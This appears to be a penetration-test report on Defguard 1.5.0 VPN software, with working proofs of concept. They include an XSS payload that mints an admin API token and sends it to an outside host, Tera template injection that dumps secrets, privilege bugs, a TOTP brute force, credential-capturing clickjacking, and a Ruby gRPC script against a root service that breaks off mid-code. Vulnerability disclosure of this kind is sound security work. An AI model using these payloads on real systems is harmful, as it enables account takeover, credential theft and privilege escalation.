Technical details
- Non logged-in user visits below link:
https://defguard.dvpnsec.net/auth/login?r=javascript:alert(document.domain)
- After providing username and password and clicking Login button, XSS will be executed.

The main issue with above payload, is that this is an pre-auth XSS. It executes after clicking Login button - but before assigning the user’s session.To bypass this limitation - we’ve used the window.open - to open the DefGuard in the new window - where user will be finally logged in - thus the session will be assigned to the user.As soon as the user becomes logged in - we’re utilizing XMLHttpRequest to create new API Token via /api/v1/user/admin/api_token and send its result back to isec.pl.
PoC - full account takeover:
- Non logged-in user visits below link:
https://defguard.dvpnsec.net/auth/login?r=javascript:window.open('https://defguard.dvpnsec.net');var xmlhttp = new XMLHttpRequest();xmlhttp.onreadystatechange = (e) => {window.location='https://isec.pl?'%2bxmlhttp.responseText};xmlhttp.open("POST", "/api/v1/user/admin/api_token");xmlhttp.setRequestHeader("Content-Type", "application/json");xmlhttp.send(JSON.stringify({ "name": "qweqwe123xxxxxxx", "username": "admin" }))
After providing username and password and clicking Login button, XSS will be executed.
window.open() assigns session to the current DOM.
XMLHttpRequest sends request to
/api/v1/user/admin/api_tokenwhich creates new API Token.API Token value is being send back to the attacker server via
window.location:https://isec.pl/?{%22token%22:%22dg-ZAf9lWt6tJShBD6KzahF475GfDSAzAJa%22}Attacker has now access to the freshly created API Token and can use it to perform operation on behalf of admin:
Request:
GET /api/v1/me HTTP/2
Host: defguard.dvpnsec.net
Authorization: Bearer dg-ZAf9lWt6tJShBD6KzahF475GfDSAzAJa
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Fri, 08 Aug 2025 13:59:38 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 456\
{
"authorized_apps ": [
[ ... ]
],
"email ": "admin@defguard ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "DefGuard ",
"groups ": [
"admin "
],
"id ": 1,
"is_active ": true,
"is_admin ": true,
"last_name ": "Administrator ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "admin "
}
Technical details
User testtest has administrative rights but is inactive:
Request:
GET /api/v1/user/testtest HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=3TsmOvtETUdRVedNYJDJvnHH
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 04 Aug 2025 11:52:29 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 363
\
{
"devices ": [],
"security_keys ": [],
"user ": {
"authorized_apps ": [],
"email ": "phtest2@isec.pl ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "Test1xxxx ",
"groups ": [
"admin "
],
"id ": 2,
"is_active ": false,
"is_admin ": true,
"last_name ": "Test ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "testtest "
}
}
Nonetheless, this user still can access the DefGuard REST via their API token:
Request:
GET /api/v1/me HTTP/2
Host: defguard.dvpnsec.net
Authorization: Bearer dg-ArCeAQ9klHfs5YhekQf4ySkIUXUoT4wF
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 04 Aug 2025 11:53:37 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 322
\
{
"authorized_apps ": [],
"email ": "phtest2@isec.pl ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "Test1xxxx ",
"groups ": [
"admin "
],
"id ": 2,
"is_active ": false,
"is_admin ": true,
"last_name ": "Test ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "testtest "
}
Moreover, the deactivated user can use this API token to activate their account:
Request:
PUT /api/v1/user/testtest HTTP/2
Host: defguard.dvpnsec.net
Authorization: Bearer dg-ArCeAQ9klHfs5YhekQf4ySkIUXUoT4wF
Content-Length: 321
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: application/json\
{
"authorized_apps ": [],
"email ": "phtest2@isec.pl ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "Test1xxxx ",
"groups ": [
"admin "
],
"id ": 2,
"is_active ": true,
"is_admin ": true,
"last_name ": "Test ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "testtest "
}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 04 Aug 2025 11:57:41 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 4
null
Recommendations
Whenever user is being deactivates - deactivate their API tokens too.
Technical details
The vulnerability occurs due to improper validation of user-provided Tera templates before rendering them. An attacker with administrative access can craft a specially designed Tera template (enrollment welcome-message) that, when processed by the server, extracts and displays environment variables that contain sensitive information.
The exact mechanism involves the use of template syntax to access environment variables, which are then rendered as part of the output.
Enrollment welcome-message with embedded Tera template get_env() functions can be created either in the web application’s UI:

or directly by sending PUT request to the server:
Request:
PUT /api/v1/settings HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=zKvOID25Ytom8nansXbqP9W5
Content-Length: 4410
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: https**://defguard.dvpnsec.net
Referer: https://**defguard.dvpnsec.net/admin/enrollment\
{
"challenge_template": "Please read this carefully:\n\nClick to sign to prove you are in possesion of your private key to the account.\nThis request will not trigger a blockchain transaction or cost any gas fees.",
"enrollment_use_welcome_message_as_email": true,
"enrollment_vpn_step_optional": true,
"enrollment_welcome_email": "Dear {{ first_name }} {{ last_name }},\n\nBy completing the enrollment process, you now have access to all company systems.\n\nYour login to all systems is: {{ username }}\n\n## Company systems\n\nHere are the most important company systems:\n\n- defguard: {{ defguard_url }} - where you can change your password and manage your VPN devices\n- our chat system: https://chat.example.com - join our default room #TownHall\n- knowledge base: https://example.com ...\n- our JIRA: https://example.atlassian.net...\n\n## Governance\n\nTo kickoff your onboarding, please get familiar with:\n\n- our employee handbook: https://knowledgebase.example.com/Welcome\n- security policy: https://knowledgebase.example.com/security\n\nIf you have any questions contact our HR:\nJohn Hary - mobile +48 123 123 123\n\nThe person that enrolled you is:\n{{ admin_first_name }} {{ admin_last_name }},\nemail: {{ admin_email }}\nmobile: {{ admin_phone }}\n\n--\nSent by defguard {{ defguard_version }}\nStar us on GitHub! https://github.com/defguard/defguard",
"enrollment_welcome_email_subject": "[defguard] Welcome message after enrollment",
"enrollment_welcome_message": "==== ENV: General ====\n\nPATH = {{ get_env(name=\"PATH\") }}\n\nHOSTNAME = {{ get_env(name=\"HOSTNAME\") }}\n\nHOME = {{ get_env(name=\"HOME\") }}\n\n\n\n==== ENV: Core Secrets ====\n\nDEFGUARD_AUTH_SECRET = {{ get_env(name=\"DEFGUARD_AUTH_SECRET\") }}\n\nDEFGUARD_GATEWAY_SECRET = {{ get_env(name=\"DEFGUARD_GATEWAY_SECRET\") }}\n\nDEFGUARD_YUBIBRIDGE_SECRET = {{ get_env(name=\"DEFGUARD_YUBIBRIDGE_SECRET\") }}\n\nDEFGUARD_SECRET_KEY = {{ get_env(name=\"DEFGUARD_SECRET_KEY\") }}\n\nDEFGUARD_DEFAULT_ADMIN_PASSWORD = {{ get_env(name=\"DEFGUARD_DEFAULT_ADMIN_PASSWORD\") }}\n\n\n\n==== ENV: Database Credentials ====\n\nDEFGUARD_DB_HOST = {{ get_env(name=\"DEFGUARD_DB_HOST\") }}\n\nDEFGUARD_DB_PORT = {{ get_env(name=\"DEFGUARD_DB_PORT\") }}\n\nDEFGUARD_DB_USER = {{ get_env(name=\"DEFGUARD_DB_USER\") }}\n\nDEFGUARD_DB_PASSWORD = {{ get_env(name=\"DEFGUARD_DB_PASSWORD\") }}\n\nDEFGUARD_DB_NAME = {{ get_env(name=\"DEFGUARD_DB_NAME\") }}\n\n\n\n==== ENV: URLs and Web Configuration ====\n\nDEFGUARD_URL = {{ get_env(name=\"DEFGUARD_URL\") }}\n\nDEFGUARD_ENROLLMENT_URL = {{ get_env(name=\"DEFGUARD_ENROLLMENT_URL\") }}\n\nDEFGUARD_PROXY_URL = {{ get_env(name=\"DEFGUARD_PROXY_URL\") }}\n\nDEFGUARD_WEBAUTHN_RP_ID = {{ get_env(name=\"DEFGUARD_WEBAUTHN_RP_ID\") }}\n\nDEFGUARD_COOKIE_INSECURE = {{ get_env(name=\"DEFGUARD_COOKIE_INSECURE\") }}\n\nDEFGUARD_LOG_LEVEL = {{ get_env(name=\"DEFGUARD_LOG_LEVEL\") }}\n\n\n\n==== ENV: GRPC Certificates and Keys ====\n\nDEFGUARD_GRPC_CERT = {{ get_env(name=\"DEFGUARD_GRPC_CERT\") }}\n\nDEFGUARD_GRPC_KEY = {{ get_env(name=\"DEFGUARD_GRPC_KEY\") }}\n\nDEFGUARD_PROXY_GRPC_CA = {{ get_env(name=\"DEFGUARD_PROXY_GRPC_CA\") }}\n\n\n\n==== ENV: OpenID Key ====\n\nDEFGUARD_OPENID_KEY = {{ get_env(name=\"DEFGUARD_OPENID_KEY\") }}\n",
"gateway_disconnect_notifications_enabled": false,
"gateway_disconnect_notifications_inactivity_threshold": 5,
"gateway_disconnect_notifications_reconnect_notification_enabled": false,
"instance_name": "Defguard",
"ldap_bind_username": "cn=admin,dc=example,dc=org",
"ldap_enabled": false,
"ldap_group_member_attr": "uniqueMember",
"ldap_group_obj_class": "groupOfUniqueNames",
"ldap_group_search_base": "ou=groups,dc=example,dc=org",
"ldap_groupname_attr": "cn",
"ldap_is_authoritative": false,
"ldap_member_attr": "memberOf",
"ldap_sync_enabled": false,
"ldap_sync_groups": [],
"ldap_sync_interval": 300,
"ldap_sync_status": "OutOfSync",
"ldap_tls_verify_cert": true,
"ldap_use_starttls": false,
"ldap_user_auxiliary_obj_classes": [
"simpleSecurityObject",
"sambaSamAccount"
],
"ldap_user_obj_class": "inetOrgPerson",
"ldap_user_search_base": "ou=users,dc=example,dc=org",
"ldap_username_attr": "cn",
"ldap_uses_ad": false,
"main_logo_url": "/svg/logo-defguard-white.svg",
"nav_logo_url": "/svg/defguard-nav-logo.svg",
"openid_create_account": true,
"openid_enabled": true,
"openid_username_handling": "RemoveForbidden",
"smtp_encryption": "StartTls",
"webhooks_enabled": true,
"wireguard_enabled": true,
"worker_enabled": true
}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 05 Aug 2025 09**:36:**51 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 4
null
Once new user is created and his enrollment process finishes - he is presented with leaked underlying infrastructure secrets (such as database credentials or main admin password):

Technical details
In regards to Defguard web application (core functionality), we were able to discover broken vertical access control, where standard (not privileged) user is able to both - list and remove groups.
Such possibility is especially impactful when considering ability to remove admin group. This action can successfully degrade admin users to standard users - potentially rendering whole application unusable.
To showcase this vulnerability, unprivileged user test_user with defguard_session=4yzkAwO05vwM57Lq6hRn52ae will be used:
Request:
GET /api/v1/me HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/activity
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:30:**25 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 370\
{
"authorized_apps ": [],
"email ": "skosdsfjsijfisjiajfusfh7373263662hsdsydyysydysydysy+test_user@yopmail.com ",
"email_mfa_enabled ": false,
"enrolled ": true,
"first_name ": "Test ",
"groups ": [],
"id ": 50,
"is_active ": true,
"is_admin ": false,
"last_name ": "User ",
"ldap_pass_requires_change ": false,
"mfa_enabled ": false,
"mfa_method ": "None ",
"phone ": " ",
"totp_enabled ": false,
"username ": "test_user "
}
Based on the server’s response above - we can clearly confirm that test_user is not an admin user (“is_admin”: false,).
Nonetheless, test_user is able to:
List groups:
Request:
GET /api/v1/group HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/me
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:43:25 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 38
{“groups”:**[“admin”,“onlyAdminsGroup”]}
Delete onlyAdminsGroup group:
Request:
DELETE /api/v1/group/onlyAdminsGroup HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: https**://defguard.dvpnsec.net
Referer: https://defguard.dvpnsec.net/admin/groups
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:45:**51 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 4
null
Proof that group is gone:
Request:
GET /api/v1/group HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=4yzkAwO05vwM57Lq6hRn52ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/me
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Thu, 07 Aug 2025 13:46:45 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 20
{“groups”:**[“admin”]}
Proof in activity log (admin_user session cookie was used):
Request:
GET /api/v1/activity_log?page=1&sort_order=desc&sort_by=timestamp&search=onlyAdminsGroup&from=2025-08-01T00%3A00%3A00.000Z HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=TV5mN9u4k5KWG2ONbS6A0fh2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https**://defguard.dvpnsec.net/activity
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Date: Thu, 07 Aug 2025 13:51:**18 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Type: text/plain; charset=utf-8
Content-Length: 1224\
{
"data": [
{
"id": 180288,
"timestamp": "2025-08-07T13:45:51.474721",
"user_id": 50,
"username": "test_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "group_removed",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "Removed group onlyAdminsGroup"
},
{
"id": 180284,
"timestamp": "2025-08-07T13:43:49.971672",
"user_id": 35,
"username": "admin_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "user_groups_modified",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "User groups modified! User: admin2_user Before: [\"admin\", \"onlyAdminsGroup\"] After: [\"onlyAdminsGroup\"]"
},
{
"id": 180282,
"timestamp": "2025-08-07T13:30:04.257209",
"user_id": 35,
"username": "admin_user",
"location": null,
"ip": "167.172.191.17/32",
"event": "group_added",
"module": "defguard",
"device": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"description": "Added group onlyAdminsGroup"
}
],
"pagination": {
"current_page": 1,
"page_size": 50,
"total_items": 3,
"total_pages": 1,
"next_page": null
}
}
Lastly, we were able to confirm, that admin2_user who was exclusively in onlyAdminsGroup - lost his admin privileges thanks to the unauthorised test_user’s onlyAdminsGroup removal:

Technical details
During the penetration testing phase, it was confirmed that no rate-limiting mechanism was implemented on the tested endpoint. As a result, it is possible to perform a brute-force attack on the TOTP code during the login process.
Request:
POST /api/v1/auth/totp/verify HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=EvZY1GdAv12whFOLBrNC7jYW
Content-Length: 17
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: https**://defguard.dvpnsec.net
Referer: https://defguard.dvpnsec.net/auth/mfa/totp
{“code”:“111111”}
Response:
HTTP/2 401 Unauthorized
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Tue, 12 Aug 2025 09:42:24 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 27
{“msg”:**“Invalid TOTP code”}
Neither X-Rate-Limit-Limit nor X-Rate-Limit-Remaining headers were present in the responses.
In one test, over 10,000 requests were sent within 30 seconds without triggering any throttling or rejection. With optimized attack parameters --- including careful selection of concurrent request count, appropriate OTP code range, and running the brute-force attempt continuously with timing aligned to OTP generation intervals --- the correct TOTP value was successfully identified, resulting in a verified session:

Technical details
Multiple instances of this issue have been identified, but the most serious and real threat - given the application’s specifics - is the login panel of the application:
https://defguard.dvpnsec.net/auth/login
The attacker can lure (through an appropriate pretext) a potential victim to visit what appears to be the login page of the web application:

The page above has been specially prepared to display the actual login interface (loaded in an iframe) with additional elements overlaid on top.
This is a specific case of clickjacking vulnerability known as UI redressing - overlaying additional interface elements on the original interface; specific because in a standard clickjacking scenario, the iframe containing the original site would have opacity: 0, and a button would be placed over another button in the original UI that performs an action sensitive to the user (e.g., sending funds to another user).
In the background, a request is made to the server (loading the original site in the iframe):
Request:
GET /auth/login HTTP/2
Host: defguard.dvpnsec.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: text/html
Date: Fri, 08 Aug 2025 14**:02:**29 GMT
Server: Caddy
Content-Length: 2046\
<!doctype html>
<html lang="en" data-theme="light">
<head>
<meta charset="UTF-8">
<meta name="viewport " content="width=device-width,initial-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="mobile-web-app-capable" content= "yes ">
<meta name="theme-color" content="#ffffff">
<link rel="manifest" href="/assets/manifest-D4HWI1P1.webmanifest">
<! -- Icons -- >
<link rel= "icon " type = "image/ico" href= "/assets/favicon-CcP5hR9D.ico">
<link rel= " [TRUNCATED ]
As it can be seen in the server’s response - it does not contain the X-Frame-Options and Content-Security-Policy headers, which does not restrict framing the site and enables possibility of a clickjacking attack.
When the user enters their data in the login form and clicks the apparent login button, the attacker receives a GET request that reveals login credentials:
{width=“4.374305555555556in” height=“1.8625in”}
Technical details
OpenID app openid123 has been assigned only phone scope:
Request:
GET /api/v1/oauth HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=KENMUulcmfVkD0W8MZjN4Rjw
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 11:26:20 GMT
[…]\
{
"client_id ": "9szvHNlxY6R3jvbX ",
"client_secret ": "SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN ",
"enabled ": true,
"id ": 8,
"name ": "openid123 ",
"redirect_uri ": [
"https://isec.pl "
],
"scope ": [
"phone "
]
}
[ ... ]
This implies, that whenever user would try to authorize with more extensive scope - oAuth flow will not let them in:
Request:
POST /api/v1/oauth/authorize?scope=profile&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 11:28:31 GMT
Location: https://isec.pl/?error=invalid_scope&state=1
Server: Caddy
Content-Length: 0
The only acceptable scope is phone. Moreover, during the first authorization - user is being informed, that application wants to access only their phone data:
Request:
POST /api/v1/oauth/authorize?scope=phone&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 11:29:40 GMT
Location: https://isec.pl/?code=xoenjJby84EDEyKFsMRVnqEs&state=1
Server: Caddy
Content-Length: 0
Request:
POST /api/v1/oauth/token HTTP/2
Host: defguard.dvpnsec.net
Content-Length: 163
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&redirect_uri=https://isec.pl&code=xoenjJby84EDEyKFsMRVnqEs&client_id=9szvHNlxY6R3jvbX&client_secret=SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN&
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 11:29:52 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 124
{“access_token”:“5CVW4Yoj5BdExPm4SyAXttu4”,“id_token”:null,“refresh_token”:“L4WO6BVJqMKtAYw1nTvyf3kR”,“token_type”:“bearer”}
However, the access token generated for phone scope only, has extensive access to user e-mail, name and surname - even though those scope were explicitly not enabled on the OpenID app.
Request:
GET /api/v1/oauth/userinfo HTTP/2
Host: defguard.dvpnsec.net
Authorization: Bearer 5CVW4Yoj5BdExPm4SyAXttu4
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 11:31:47 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 156\
{
"email ": "phtest2+fdsfsdfsdfdsfds@isec.pl ",
"family_name ": "A ",
"given_name ": "A ",
"name ": "AA ",
"phone_number ": "123123 ",
"preferred_username ": "user ",
"sub ": "user"
}
Technical details
Whenever user authorizes app for the first time - the /consent page is being displayed which informs user which data the oAuth app will get access:
Request:
GET /api/v1/oauth/authorize?scope=groups&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 12:23:54 GMT
Location: /consent?scope=groups&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1
Server: Caddy
Content-Length: 0
User has to click Accept button, below request is being sent and app appears in the authorized app list:
Request:
POST /api/v1/oauth/authorize?scope=groups&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
[…]
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 12:25:38 GMT
Location: https://isec.pl/?code=re7zcBKPEzSndmBmCIONytHj&state=1
[…]
Request:
GET /api/v1/user/user HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 12:26:38 GMT
[…]\
{
"user ": {
"authorized_apps ": [
{
"oauth2client_id ": 8,
"oauth2client_name ": "openid123 ",
"user_id ": 59
}
]
}
}```
\[\...\]
However, when administrator changes the scope of the OpenID app, the
users who had that app authorized before, are still authorized it:
1. Admin changes the scope of the app, extending the scope:
**Request:**\
\
**PUT** /api/v1/oauth/9szvHNlxY6R3jvbX HTTP/2\
**Host:** defguard.dvpnsec.net\
**Cookie:** defguard_session=KENMUulcmfVkD0W8MZjN4Rjw\
\[\...\]\
```json
{
"client_secret ": "SHyMugRCmiTkLdo1xtV5IwgrY1dKoHpN ",
"enabled ": true,
"id ": 8,
"name ": "openid123 ",
"redirect_uri ": [
"https://isec.pl "
],
"scope ": [
"phone ",
"groups ",
"email ",
"profile ",
"openid "
]
}
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 12:28:21 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 2
{}
- The app is still authorized:
Request:
GET /api/v1/user/user HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 200 OK
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Mon, 11 Aug 2025 12:29:21 GMT
[…]\
{
"user ": {
"authorized_apps ": [
{
"oauth2client_id ": 8,
"oauth2client_name ": "openid123 ",
"user_id ": 59
}
]
}
}
[…]
Request:
GET /api/v1/oauth/authorize?scope=profile&response_type=code&client_id=9szvHNlxY6R3jvbX&redirect_uri=https%3A%2F%2Fisec.pl&state=1&nonce=1&allow=true HTTP/2
Host: defguard.dvpnsec.net
Cookie: defguard_session=0i1uyyokye6n58A0mSLs1VQ7
Response:
HTTP/2 302 Found
Alt-Svc: h3=“:443”; ma=2592000
Date: Mon, 11 Aug 2025 12:29:52 GMT
Location: https://isec.pl/?code=f5PFSValuFj9LQShB9AcAiiK&state=1
Server: Caddy
Content-Length: 0
Detailed status
Issue fixed for Linux and MacOS. In progress for Windows.
Technical details
Defguard Desktop Client package installs a privileged system service and an unprivileged client application.
The Defguard service exposes on local port (54127) the gRPC service for communication with the Defguard GUI application.
Unprivileged process can request three actions using the gRPC service:
create interface (new WireGuard connection)
read interface data (info about a remote peer)
remove interface (close connection)
Each action is performed with system service privileges (root on Linux and MacOS, SYSTEM on Windows).
The gRPC service is available to any process that can establish a TCP connection to local port 127.0.0.1:54127 and does not implement any access control.
Proof of Concept
Example shows how to perform available actions using Ruby environment and direct gRPC requests.
- Debian Linux with Defguard Desktop Client.
$ uname -a
Linux vboxdeb 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64 GNU/Linux
$ /usr/sbin/defguard-service --version
defguard-client 1.5.0

- Install ruby environment with gRPC modules.
apt install ruby ruby-dev
gem install grpc grpc-tools
- Download source code of the Defguard Desktop Client.
$ git clone --depth=1 --recurse-submodules -b v1.5.0-alpha1 https://github.com/DefGuard/client.git defguard_client_v1.5.0-alpha1
- Generate Ruby scripts for the gRPC service.
$ mkdir /tmp/grpc_ruby
$ grpc_tools_ruby_protoc --proto_path=./defguard_client_v1.5.0-alpha1/src-tauri/proto/client/ --ruby_out=/tmp/grpc_ruby --grpc_out=/tmp/grpc_ruby client.proto
- Check network configuration.
# ifconfig -a
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x20<link>
inet6 fd00::a00:27ff:feb2:fc34 prefixlen 64 scopeid 0x0<global>
inet6 fd00::5415:67df:27a2:ae1f prefixlen 64 scopeid 0x0<global>
ether 08:00:27:b2:fc:34 txqueuelen 1000 (Ethernet)
RX packets 68167 bytes 88898744 (84.7 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 34105 bytes 2619543 (2.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1245 bytes 107392 (104.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1245 bytes 107392 (104.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- Create a new WireGuard interface with active connection.
$ sudo -u nobody id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ sudo -u nobody ruby -I/tmp/grpc_ruby create_interface.rb
create_interface.rb
require 'client_services_pb'
include Client
grpc = DesktopDaemonService::Stub::new('127.0.0.1:54127', :this_channel_is_insecure)
grpc.create_interface CreateInterfaceRequest::new(
config: InterfaceConfig::new(
name: 'wg1337',
prvkey: '9318b207a7817a6d991e74d6300a6f724e6390a32d186e1e0e4f3c370334f563',
address: '10.22.33.20/24',
port: 1337,
peers: [
Peer::new(
